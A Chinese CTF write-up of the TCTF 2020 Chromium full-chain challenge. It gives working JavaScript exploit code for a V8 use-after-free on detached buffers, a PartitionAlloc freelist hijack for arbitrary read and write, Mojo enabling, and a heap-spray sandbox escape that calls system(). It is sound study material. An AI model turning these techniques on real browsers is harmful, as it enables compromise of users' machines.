TCTF-2020-Chromium-Fullchain

概览

rce+sbx。
通过rce来开启mojo,然后再sbx bypass。

调试方式

在需要调试的地方调用debug()函数

function debug(){
    for(let j = 0; j < 0x10000000; j++){
            var x = 1;
        for(let i = 0; i < 0x1000000; i++){
            var x = x + i;
        }
    }
}

然后另起一个控制台,用gdb attach render process,可用

gdb -p `ps axfh | grep type=renderer | grep chrome | awk '{print $1}' | head -1`

render process的调试方式可见https://chromium.googlesource.com/chromium/src/+/81c0fc6d4/docs/linux_debugging.md

利用

render

和之前Chromium RCE类似,区别是少了一些native function,以及变成了PartitionAlloc

diff --git a/src/builtins/typed-array-set.tq b/src/builtins/typed-array-set.tq
index b5c9dcb261..babe7da3f0 100644
--- a/src/builtins/typed-array-set.tq
+++ b/src/builtins/typed-array-set.tq
@@ -70,7 +70,7 @@ TypedArrayPrototypeSet(
     // 7. Let targetBuffer be target.[[ViewedArrayBuffer]].
     // 8. If IsDetachedBuffer(targetBuffer) is true, throw a TypeError
     //   exception.
-    const utarget = typed_array::EnsureAttached(target) otherwise IsDetached;
+    const utarget = %RawDownCast<AttachedJSTypedArray>(target);
 
     const overloadedArg = arguments[0];
     try {
@@ -86,8 +86,7 @@ TypedArrayPrototypeSet(
       // 10. Let srcBuffer be typedArray.[[ViewedArrayBuffer]].
       // 11. If IsDetachedBuffer(srcBuffer) is true, throw a TypeError
       //   exception.
-      const utypedArray =
-          typed_array::EnsureAttached(typedArray) otherwise IsDetached;
+      const utypedArray = %RawDownCast<AttachedJSTypedArray>(typedArray);
 
       TypedArrayPrototypeSetTypedArray(
           utarget, utypedArray, targetOffset, targetOffsetOverflowed)

ArrayBuffer Neuter

There is a well-known trick in browser security. Javascript allows buffers to be transferred from a source thread to a Worker thread, and the transferred buffers are not accessible (“neutered”) in the source thread. In Chrome, it would also release the buffer of the ArrayBuffer.

作用等价于释放array buffer。

const ENABLE_NATIVE = 0
function ArrayBufferDetach(ab) {
    if (ENABLE_NATIVE) {
        eval("%ArrayBufferDetach(ab);");
        return
    }
    let w = new Worker('');
    w.postMessage({ab: ab}, [ab]);
    w.terminate();
}

泄露

function detachBuffer(x){ // x is the ArrayBuffer that we want to detach
    try{
        var w = new Worker("");
        w.postMessage("",[x]);     
        w.terminate();
    }catch(ex){
        console.log("exception when detaching")
    }
}

var victim = new Float64Array(10).fill(12.34);
detachBuffer(victim.buffer);

//////////
// do something
//////////
var leaks = new Float64Array(10);
var data = new Float64Array(10).fill(13.37);

leaks.set(victim,0); // read from detached buffer
victim.set(data,0)   // write to detached buffer

0x3b2e080a2c2d <Float64Array map = 0x3b2e08281ac1>
0x3b2e080a2be5 <ArrayBuffer map = 0x3b2e08280dc9>

free前

uaf Float64Array:

pwndbg> x/10gx 0x3e56080a2c2d-1
0x3e56080a2c2c: 0x080406e908281ac1  0x080a2be5080411a9
0x3e56080a2c3c: 0x0000000000000000  0x0000000000000008
0x3e56080a2c4c: 0x0000000000000001  0x000034d2eee04010 (backing store)
0x3e56080a2c5c: 0x0000000000000000  0x0000000000000000
0x3e56080a2c6c: 0x0804035d00000000  0x0000747474747474

uaf ArrayBuffer:

pwndbg> x/20gx 0x3e56080a2be5-1
0x3e56080a2be4: 0x080406e908280dc9  0x00000008080406e9
0x3e56080a2bf4: 0xeee0401000000000  0xa1a4d480000034d2
0x3e56080a2c04: 0x000000020000010b  0x0000000000000000
0x3e56080a2c14: 0x0000000000000000  0x0000001008040489
0x3e56080a2c24: 0x0000747474747474  0x080406e908281ac1
0x3e56080a2c34: 0x080a2be5080411a9  0x0000000000000000
0x3e56080a2c44: 0x0000000000000008  0x0000000000000001
0x3e56080a2c54: 0x000034d2eee04010 (backing store)  0x0000000000000000
0x3e56080a2c64: 0x0000000000000000  0x0804035d00000000
0x3e56080a2c74: 0x0000747474747474  0x080406e908280dc9

backing store:

pwndbg> x/10gx 0x000034d2eee04010
0x34d2eee04010: 0x0000747474747474  0x0000000000000000
0x34d2eee04020: 0x3040e0eed2340000  0x0000000000000000
0x34d2eee04030: 0x4040e0eed2340000  0x0000000000000000
0x34d2eee04040: 0x5040e0eed2340000  0x0000000000000000
0x34d2eee04050: 0x6040e0eed2340000  0x0000000000000000

PartitionAlloc Exploitation

super page布局

| Guard page (4KB) | Metadata page (4KB) | Guard pages (8KB) | Slot span | Slot span | ... | Slot span | Guard page (4KB) |

0x0000205284e00000 0x0000205284e01000 ---p  // Guard page (4KB)
0x0000205284e01000 0x0000205284e02000 rw-p  // Metadata page (4KB)
0x0000205284e02000 0x0000205284e04000 ---p  // Guard pages (8KB)
0x0000205284e04000 0x0000205284e18000 rw-p  // Slot span
0x0000205284e18000 0x0000205285000000 ---p  // Guard pages (4KB)

其中,metadata page中可以泄露chrome的基址。
之前在backing store中泄露的残留free块指针位于Slot span中,

  • 通过将该地址的末五位置0就可以得到 superpage的基地址。

  • PartitionPage大小是0x4000,我们取出泄漏指针的末四位 >> 14就可以得到PartitionPageIndex

  • PartitionPage基地址就是 Index*0x4000 + superpage的基地址

  • MetadataArea的基地址就是 superpage的基地址 + 0x1000

  • 当前的MetadataArea地址就是 MetadataArea的基地址 + PartitionPageIndex * 0x20

攻击链如下


当METADATA AREA的freelist指针成环后,我们就有了任意地址读写的能力了。通过我们下一次malloc就能拿到METADATA AREA块,通过改写METADATA AREA的freelist就能任意地址读写

Arbitrary read consists of following steps:

  • Set first element in freelist to the destination address
  • Allocate an object. PartitionAlloc will do the “unlink”, by reading first pointer from the destination address and setting it to the freelist. the object will be allocated at the destination address.
  • Read first element in freelist while decoding the value, this gives the leaked bytes.
  • Since the allocated object is initialized with zeroes, restore the value that was at the address by writing the leaked bytes to the allocated object.
function read64(rwHelper, addr) {
    rwHelper[0] = addr; // [1]
    var tmp = new BigUint64Array(1); // [2]
    tmp.buffer;
    gcPreventer.push(tmp);
    tmp[0] =  byteSwapBigInt(rwHelper[0]); // [3] [4]
    return tmp[0];
}

Arbitrary write is implemented in the same manner:

  • backup the original address that was in the freelist
  • set first element in freelist to the destination address
  • allocate an object. the object will be allocated at the destination address.
  • write value into object
  • fix freelist by setting address to the value that was backed up in the first step.
function write64(rwHelper, addr, value) {
    var backup = rwHelper[0]
    rwHelper[0] = addr;
    var tmp = new BigUint64Array(1);
    tmp.buffer;
    tmp[0] = value;
    gcPreventer.push(tmp);
    rwHelper[0] = backup;
}

最后启用mojo过程,需要改写enabled_bindings为0x2。
我们首先要拿到g_frame_map的指针,遍历能拿到当前frameRenderFrame

frame_map_ptr = chrome_base + 0xaa693a8n
console.log("chrome base @ "+ hex(chrome_base))
console.log("g_frame_map @ "+ hex(frame_map_ptr))

frame_map_ptr += 0x8n;
begin_ptr = read64(freelist,frame_map_ptr);
console.log("begin_ptr @ "+ hex(begin_ptr))

node_ptr = read64(freelist,begin_ptr+0x28n);
console.log("node_ptr @ "+hex(node_ptr));

render_frame_ptr = node_ptr;
//render_frame_ptr = read64(freelist,render_frame_ptr1);
console.log("render_frame_ptr @ "+hex(render_frame_ptr));



enabled_bindings = render_frame_ptr + 0x580n;
console.log("enabled_bindings @ "+hex(enabled_bindings));

write64(freelist,enabled_bindings,0x2n);

当改写mojo标志后,需要重新加载页面才能生效。为了保持freelist不崩溃,我们把freelist还原为原始的数值

console.log("go reload!!!");
freelist[0] = page_leak;
leaks[0] = (0n).i2f()
uaf.set(leaks,0);   
window.location.reload();

Sandbox

先准备若干objects

var spray_inst = [];

for(var i = 0; i < 3000; i++){


        var x = new blink.mojom.TStoragePtr();
        Mojo.bindInterface(blink.mojom.TStorage.name,  mojo.makeRequest(x).handle);

        await x.init();
        var z = (await x.createInstance()).instance;

        spray_inst.push({"stor":x,"inst":z});
}

而后释放spray_inst 中的指针

for(var i =0; i < 3000; i++){
        if((i % 300 )== 0){continue;}
        await spray_inst[i]["stor"].ptr.reset();

}

堆喷的实现https://theori.io/research/escaping-chrome-sandbox/

批量申请0x700的堆块,写入构造好的对象结构

  • vtable ptr points to our controlled memory
  • inlined properties used for GetDouble & GetInt are filled with marker objects. We can read from them in order too understand if the memory was reclaimed successfully or not.
  • queue that is used for push/pop operations points to global section in libc. There we will write fake vtable

即把pop/push的指针指向预设的bss地址,这样当我们通过push/pop方法时就能改写bss地址内容。
改写vtable地址为我们预设的bss地址,bss内容可控
修改double和int的属性值为预设的marker值,这样通过遍历spray_inst中对象的GetDoubleGetInt结果,如果发现和marker的值相同,说明已经分配到了被控的对象,通过push/pop改写bss内容为目标执行函数,再执行vtable函数即可。


////////////////////////////


var atoi_addr = (await spray_inst[0]["stor"].getLibcAddress()).addr // provided leak
libc_base = atoi_addr - 0x40680;
libc_bss_addr = libc_base + 0x3eb000
system_ptr        = libc_base + 0x4f440;
setcontext        = libc_base + 0x520c7

console.log("libc base  @ "+hex(libc_base))
console.log("bss        @ "+hex(libc_bss_addr))
console.log("system_ptr @ "+hex(system_ptr))


let alloc_count = 0x1000;

let data = new ArrayBuffer(0x700); // spray size
let b64arr = new BigUint64Array(data);
let view = new DataView(data);


b64arr.fill(0x41414242434344n);
let sprayed_val = 0x41414242434344


var bss_offs = libc_bss_addr+0xae0;
console.log("writing to "+hex(bss_offs));

/* ROP */
b64arr[0] = BigInt(bss_offs-0x10);
b64arr[0xa8/8] = BigInt(system_ptr); // rcx, future rip
b64arr[0x68/8] = BigInt(bss_offs+8); // rdi



//view.setUint8(command.length,0x0);
b64arr[(0x670/8)] = BigInt(sprayed_val); // double offs
b64arr[(0x648/8)] = BigInt(bss_offs);

b64arr[(0x650/8)] = BigInt(bss_offs) // vtable things
b64arr[(0x658/8)] = BigInt(bss_offs)
b64arr[(0x660/8)] = BigInt(0n)


/////////////

// bug trigger code is here, just not shown in this snippet :)

////////////

await (Array(alloc_count).fill().map(() => allocate(data))) // go reclaim!

for(var i = 0; i < spray_inst.length-1; i++){
        var tmp = (await spray_inst[i]["inst"].getDouble()).value.f2i()
        //console.log("i->"+ i + " " + tmp.toString(16));
        if(BigInt(tmp) == sprayed_val && (used_indexes.indexOf(i) == -1)){
                used_indexes.push(i);
                console.log("siced");
                (await spray_inst[i]["inst"].push(setcontext)); // push writes to bss
                (await spray_inst[i]["inst"].push(0x2a67616c662f2e)); // "./flag*"
                (await spray_inst[i]["inst"].getTotalSize());
                break top;
        }
}

其中,getAllocationConstructor实现如下

function getAllocationConstructor() {
        let blob_registry_ptr = new blink.mojom.BlobRegistryPtr();
        Mojo.bindInterface(blink.mojom.BlobRegistry.name,
                            mojo.makeRequest(blob_registry_ptr).handle, "process", true);

        function Allocation(size=0x700) {
          function ProgressClient(allocate) {
            function ProgressClientImpl() {
            }
            ProgressClientImpl.prototype = {
              onProgress: async (arg0) => {
                if (this.allocate.writePromise) {
                  this.allocate.writePromise.resolve(arg0);
                }
              }
            };
            this.allocate = allocate;

            this.ptr = new mojo.AssociatedInterfacePtrInfo();
            var progress_client_req = mojo.makeRequest(this.ptr);
            this.binding = new mojo.AssociatedBinding(
              blink.mojom.ProgressClient, new ProgressClientImpl(), progress_client_req
            );

            return this;
          }

          this.pipe = Mojo.createDataPipe({elementNumBytes: size, capacityNumBytes: size});
          this.progressClient = new ProgressClient(this);
          blob_registry_ptr.registerFromStream("", "", size, this.pipe.consumer, this.progressClient.ptr).then((res) => {
            this.serialized_blob = res.blob;
          })

          this.malloc = async function(data) {
            promise = new Promise((resolve, reject) => {
              this.writePromise = {resolve: resolve, reject: reject};
            });
            this.pipe.producer.writeData(data);
            this.pipe.producer.close();
            written = await promise;
            console.assert(written == data.byteLength);
          }

          this.free = async function() {
            this.serialized_blob.blob.ptr.reset();
            await sleep(1000);
          }

          this.read = function(offset, length) {
            this.readpipe = Mojo.createDataPipe({elementNumBytes: 1, capacityNumBytes: length});
            this.serialized_blob.blob.readRange(offset, length, this.readpipe.producer, null);
            return new Promise((resolve) => {
              this.watcher = this.readpipe.consumer.watch({readable: true}, (r) => {
                result = new ArrayBuffer(length);
                this.readpipe.consumer.readData(result);
                this.watcher.cancel();
                resolve(result);
              });
            });
          }

          this.readQword = async function(offset) {
            let res = await this.read(offset, 8);
            return (new DataView(res)).getBigUint64(0, true);
          }

          return this;
        }

        async function allocate(data) {
          let allocation = new Allocation(data.byteLength);
          await allocation.malloc(data);
          return allocation;
        }
        return allocate;
     }

murmur

本地调试的时候,在关闭ENABLE_NATIVE的时候,Neuter(即free array buffer)会失败,打印错误原因为SecurityError: Failed to construct 'Worker'
这是因为Workers are restricted by the Same Origin Policy,在打开local file或者relative URL的时候,不被允许创建Worker

可以在chrome的启动参数添加--allow-file-access-from-files,获取本地起服务器通过url来访问网页。

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 206,482评论 6 481
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 88,377评论 2 382
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 152,762评论 0 342
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 55,273评论 1 279
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 64,289评论 5 373
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 49,046评论 1 285
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 38,351评论 3 400
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,988评论 0 259
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 43,476评论 1 300
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,948评论 2 324
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 38,064评论 1 333
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,712评论 4 323
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 39,261评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 30,264评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,486评论 1 262
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 45,511评论 2 354
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,802评论 2 345